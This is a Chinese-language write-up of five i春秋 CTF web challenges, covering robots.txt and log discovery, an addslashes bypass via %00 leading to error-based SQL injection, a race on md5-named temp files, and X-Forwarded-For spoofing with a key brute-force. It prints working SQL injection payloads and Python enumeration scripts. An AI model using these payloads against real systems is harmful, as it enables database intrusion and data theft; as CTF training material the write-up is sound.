1. 程式人生 > >i春秋ctf 1-5詳解

i春秋ctf 1-5詳解

一、robot

1、我們看到是robot首先想到的就是去訪問robots.txt檔案,一去訪問發現果然存在此檔案,裡面包含兩個檔案目錄,逐個訪問,只有admin/3he11.php能訪問,但是頁面無任何提示檢視原始碼就可以找到flag了
這裡寫圖片描述

二、seelog

1、首先訪問這個IP,進去發現頁面提示“本站是內部網站”,
2、回頭看題目是seelog,就是看日誌,我們試著訪問以下log這個目錄,發現存在,並且還有兩個日誌檔案可以下載,既然他提示是內網,那麼就是內部網路能夠訪問,並且狀態碼是200,我們就在access.log檔案中找狀態碼是200的記錄。發現一條記錄wojiushihoutai…,複製下來訪問就可以看到flag了這裡寫圖片描述

這裡寫圖片描述

三、VID

1、訪問網頁出現一串英文,不是很理解,檢視原始碼發現後面隱藏了一個index.php.txt,訪問之。
2、訪問了看了也不是很理解,大概就是說用get方式傳三個引數,分別是flag1,flag2,flag3,分別對應頁面的三段英文字母
這裡寫圖片描述
3、訪問了提示我們下載一個zip檔案,下載下來開啟看是頁面的註冊,登入介面,但是這個存在sql注入,我們先分析程式碼

if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['number'])){
    $db
= new mysql_db(); $username = $db->safe_data($_POST['username']); $password = $db->my_md5($_POST['password']); $number = is_numeric($_POST['number']) ? $_POST['number'] : 1; $username = trim(str_replace($number, '', $username)); $sql = "select * from"."`".table_name."`"."where username="
."'"."$username"."'";

這裡username處存在注入,他只進行了safe_data處理,我們跟進這個函式

   public function safe_data($value){
        if( MAGIC_QUOTES_GPC ){
            stripcslashes($value);
        }
        return addslashes($value);
    }

這個函式的意思就是不管是否開啟魔法函式都會對單引號進行轉義。那我們就要考慮怎麼去把這個“\”去掉。我們再看程式碼

 $username = trim(str_replace($number, '', $username));

這個程式碼的意思是在username中找我們輸入的車牌號“number”,如果找到就替換成空,因為usename進過safe_data函式之後會對單引號進行轉義,那我們就需要構造語句對“\”進行轉義,然後單引號就是單引號而不會被轉義。
4、這裡先講一個%00,先看程式碼

<?php
$A=$_GET['a'];
echo "A".$A."<BR>";
$A=addslashes($A);
print $A
?>

我們傳入引數a=%00,然後輸出是這樣的,我們結合用number替換usename中的字元的函式就可以剩下一個“\”去轉義轉義單引號的“\”。
這裡寫圖片描述
5、抓包放到repeater模組進行重放。
這裡寫圖片描述

number=0&username=%00' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#&password=123&submit=Submit+Query  //爆表

number=0&username=%00' and updatexml(1,concat(1,substr((select * from flag),1,15)),1)#&password=123&submit=Submit+Query   //爆flag

四、天下武功唯快不破

1、先訪問網站,出現提示程式碼

 <?php 
header("content-type:text/html;charset=utf-8");
'天下武功唯快不破';
setcookie('token','hello');
show_source(__FILE__);
if ($_COOKIE['token']=='hello'){
  $txt = file_get_contents('flag.php');
  $filename = 'u/'.md5(mt_rand(1,1000)).'.txt';
  file_put_contents($filename,$txt);
  sleep(10);
  unlink($filename);
} 

這個程式碼的意思就是我們在訪問這個網頁的時候回將flag存在一個txt檔案中,但是這個txt檔案的名字是由1到999隨機生成的數字經過MD5加密之後拼接的,所以我們要自己寫一個python指令碼。

import hashlib,requests
def ww(url):
    a=requests.get(url)
    if a.status_code==200:
        a.encoding="utf-8"
        print(a.text)
for i in range(1,1001):
    a=hashlib.md5(str(i)).hexdigest()
    url="http://106.75.26.211:3333/u/"+a+".txt";
    ww(url)

我們訪問這個網站後就執行指令碼,因為這個txt檔案只存在10秒,所以可能需要多嘗試幾次。
這裡寫圖片描述

五、fuzzing

1、訪問提示“nothing”,抓包傳送到repeater模組,重放出現提示是一個大的內部網路就是10.10.10.10嘛
這裡寫圖片描述
2、構造X-Forwarded-For: 10.10.10.10,在發包,提示訪問m4nage.php,注意訪問這些都要加X-Forwarded-For: 10.10.10.10
這裡寫圖片描述
3、訪問m4nage.php提示如下圖
這裡寫圖片描述
4、嘗試進行get和post傳送key引數,發現在用post發包時有提示,key是由前面的i春秋加後面的5個字元,寫個指令碼匹配
這裡寫圖片描述

a=string.lowercase + string.digits 
b=["ichunqiu"]
for i in a:
    for j in a :
        for k in a :
            for y in a :
                for x in a :
                    if hashlib.md5("ichunqiu"+i+j+k+y+x).hexdigest()=="5a2a7d385fdaad3fabbe7b11c28bd48e":
                        print ("ichunqiu"+i+j+k+y+x)
                        break

得出key然後post發包
這裡寫圖片描述
5、更具提示訪問xx00xxoo.php,再訪問0.txt得到解密的原始碼,複製下來再本地搭建php,傳入對應引數得出flag